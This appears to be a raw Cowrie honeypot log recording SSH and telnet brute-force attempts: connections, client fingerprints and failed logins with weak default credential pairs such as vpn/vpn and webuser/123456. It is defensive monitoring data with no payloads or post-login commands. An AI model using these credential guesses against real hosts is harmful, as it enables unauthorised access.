{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:18.456536Z","src_ip":"172.237.20.62","session":"95eb4570bbd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:18.946654Z","src_ip":"172.237.20.62","session":"95eb4570bbd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:20.112305Z","src_ip":"172.237.20.62","session":"95eb4570bbd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57584,"dst_ip":"159.203.135.109","dst_port":22,"session":"597e7488eb66","protocol":"ssh","message":"New connection: 89.144.211.139:57584 (159.203.135.109:22) [session: 597e7488eb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:24.351140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:24.356279Z","src_ip":"89.144.211.139","session":"597e7488eb66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:24.489935Z","src_ip":"89.144.211.139","session":"597e7488eb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"78556a1022f1","protocol":"telnet","message":"New connection: 198.27.76.181:38598 (10.17.0.5:23) [session: 78556a1022f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:24.673971Z"}
{"eventid":"cowrie.login.failed","username":"user03","password":"123456","message":"login attempt [user03/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:25.091527Z","src_ip":"89.144.211.139","session":"597e7488eb66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:26.235600Z","src_ip":"89.144.211.139","session":"597e7488eb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41416,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3feee7649a3","protocol":"ssh","message":"New connection: 80.94.92.184:41416 (10.17.0.5:22) [session: c3feee7649a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:26.268080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:26.537634Z","src_ip":"80.94.92.184","session":"c3feee7649a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:26.541444Z","src_ip":"80.94.92.184","session":"c3feee7649a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:27.322623Z","src_ip":"80.94.92.184","session":"c3feee7649a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:28.847948Z","src_ip":"80.94.92.184","session":"c3feee7649a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53814,"dst_ip":"159.203.135.109","dst_port":22,"session":"8630bd6cefd7","protocol":"ssh","message":"New connection: 172.237.20.62:53814 (159.203.135.109:22) [session: 8630bd6cefd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:29.323646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:29.328887Z","src_ip":"172.237.20.62","session":"8630bd6cefd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:29.491817Z","src_ip":"172.237.20.62","session":"8630bd6cefd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:29.982242Z","src_ip":"172.237.20.62","session":"8630bd6cefd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:31.148404Z","src_ip":"172.237.20.62","session":"8630bd6cefd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56492,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f8d192a8a2","protocol":"ssh","message":"New connection: 172.237.20.62:56492 (159.203.135.109:22) [session: d4f8d192a8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:40.239702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:40.247160Z","src_ip":"172.237.20.62","session":"d4f8d192a8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:40.410996Z","src_ip":"172.237.20.62","session":"d4f8d192a8a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:40.889536Z","src_ip":"172.237.20.62","session":"d4f8d192a8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:42.051478Z","src_ip":"172.237.20.62","session":"d4f8d192a8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54058,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a52fe5271d6","protocol":"ssh","message":"New connection: 172.237.20.62:54058 (159.203.135.109:22) [session: 0a52fe5271d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:51.292782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:51.297546Z","src_ip":"172.237.20.62","session":"0a52fe5271d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:51.458553Z","src_ip":"172.237.20.62","session":"0a52fe5271d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:51.958668Z","src_ip":"172.237.20.62","session":"0a52fe5271d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:53:53.120830Z","src_ip":"172.237.20.62","session":"0a52fe5271d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57108,"dst_ip":"159.203.135.109","dst_port":22,"session":"655d6dca6169","protocol":"ssh","message":"New connection: 172.237.20.62:57108 (159.203.135.109:22) [session: 655d6dca6169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:02.443323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:02.450371Z","src_ip":"172.237.20.62","session":"655d6dca6169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:02.617181Z","src_ip":"172.237.20.62","session":"655d6dca6169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:03.149825Z","src_ip":"172.237.20.62","session":"655d6dca6169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:04.315801Z","src_ip":"172.237.20.62","session":"655d6dca6169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.4328830242157,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:13.106718Z","src_ip":"198.27.76.181","session":"78556a1022f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c43835eb79","protocol":"telnet","message":"New connection: 198.27.76.181:39400 (10.17.0.5:23) [session: d5c43835eb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:13.368264Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45836,"dst_ip":"159.203.135.109","dst_port":22,"session":"b62e4b7494e4","protocol":"ssh","message":"New connection: 172.237.20.62:45836 (159.203.135.109:22) [session: b62e4b7494e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:13.409032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:13.414788Z","src_ip":"172.237.20.62","session":"b62e4b7494e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:13.575724Z","src_ip":"172.237.20.62","session":"b62e4b7494e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:14.081758Z","src_ip":"172.237.20.62","session":"b62e4b7494e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:15.254575Z","src_ip":"172.237.20.62","session":"b62e4b7494e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42286,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3dad2290d61","protocol":"ssh","message":"New connection: 172.237.20.62:42286 (159.203.135.109:22) [session: b3dad2290d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:24.327403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:24.333355Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
